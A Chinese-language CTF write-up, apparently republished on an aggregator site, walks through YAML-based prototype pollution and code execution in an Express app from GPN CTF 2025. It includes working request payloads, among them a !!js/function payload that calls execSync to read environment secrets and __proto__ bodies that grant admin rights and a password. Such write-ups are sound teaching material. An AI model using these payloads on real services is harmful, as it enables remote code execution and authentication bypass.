当前位置: 首页 > news >正文

yaml 导致的原型污染 -- GPN CTF 2025 Secure by Default

part 1

不难注意到,题目有一个危险的中间件,我们可以污染req.body

// 创建Express应用  
let app = express();  
let bodyParser = require('body-parser');  
// 使用body-parser中间件解析text类型的请求体  
app.use(bodyParser.text({ type: 'application/x-yaml' }));  
// 自定义中间件,处理content-type为application/x-yaml的请求  
app.use((req, res, next) => {  if (req.headers['content-type'] === 'application/x-yaml') {  req.body = yaml.load(req.body, {}); // 将YAML格式的请求体解析为JS对象  }  next();  
})
POST /edit-blogs HTTP/1.1
Host: 127.0.0.1:1337
Content-Type: application/x-yaml
Content-Length: 25__proto__:admin: true

此处的unsafe运行我们加载任意函数

username: test
password: test
blogs:my-cool-blog:posts:- content: aelmoslug:match: !!js/function "function() {return 1}"toString: !!js/function "function() {return process.mainModule.require('child_process').execSync('env | grep FLAG').toString() }"

part 2

此处禁止使用自定义函数,这意味着我们不能再直接创建新函数执行任意代码

CMD ["node", "--disallow-code-generation-from-strings", "."]

这下我们只能利用原型污染为管理员增加密码来得到flag了

        // set to both ID and slug for posts without slugsfor (let postId in newPosts) {if (postId === "__proto__") return res.status(400).send("Invalid post slug");let post = newPosts[postId];if (typeof post.content !== "string") return res.status(400).send("Invalid post content");blog[postId] = blog[post.slug] = post.content}}

我们需要找到一个方法给admin一个password

trick:yml本身存在原型污染漏洞

username: "test"
password: "test"
blogs:__proto__: __proto__:posts:password:content: "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08"__proto__: []

postid仅仅不能是__proto__ 但是可以是password,现在user的原型上将多出一个password

放暑假了,这周末打谷歌。预告一下 下周发谷歌web方向所有的复现

http://www.lqws.cn/news/550963.html

相关文章:

  • 《高等数学》(同济大学·第7版)第九章 多元函数微分法及其应用第五节多元函数微分学的几何应用
  • Redis 单线程的“天花板”与集群的必要性
  • 三、java项目自动部署流水线搭建
  • oracle内存参数调整
  • 【C++】string的模拟实现
  • 关于css的height:100%
  • 助力高考,利用python获取本专科专业选考科目要求
  • 开疆智能CCLinkIE转ModbusTCP网关连接组态王配置案例
  • 开源 java android app 开发(十三)绘图定义控件、摇杆控件的制作
  • Ollama+Gemma3模型+Open WebUI,无公网IP如何内网穿透远程访问?
  • 【Linux 设备模型框架 kobject 和 kset】
  • Java 大视界 -- Java 大数据在智能安防视频监控系统中的目标轨迹预测与防范策略制定(325)
  • 【k近邻】 K-Nearest Neighbors算法原理及流程
  • 机器学习3——参数估计之极大似然估计
  • C++并发编程-4.unique_lock,共享锁和递归锁
  • 详解HashMap底层原理
  • 电脑远程控制另一台电脑无法连接怎么办
  • PostgreSQL 容器化分布式技术方案
  • 基于51单片机-蜂鸣器演奏《飞雪玉花》
  • 什么是故障注入测试
  • 强化联邦学习的车联网 DDoS 攻击检测
  • 【图像处理入门】12. 综合项目与进阶:超分辨率、医学分割与工业检测
  • FLUX.1 Kontext(Dev 版)训练lora基础教程
  • TiDB AUTO_RANDOM 超大主键前端精度丢失排查:JavaScript Number 限制与解决方案
  • 内测开启!看海量化回测系统V2.0版本更新,基于miniQMT的回测系统问世!
  • Threejs开发指南(第七篇 利用AI进行threejs开发)
  • 封装nuxt3的SSR请求和CSR请求方法
  • 1 Studying《Is Parallel Programming Hard》6-9
  • 双指针技巧深度解析
  • C#系统学习第二章——第一个C#程序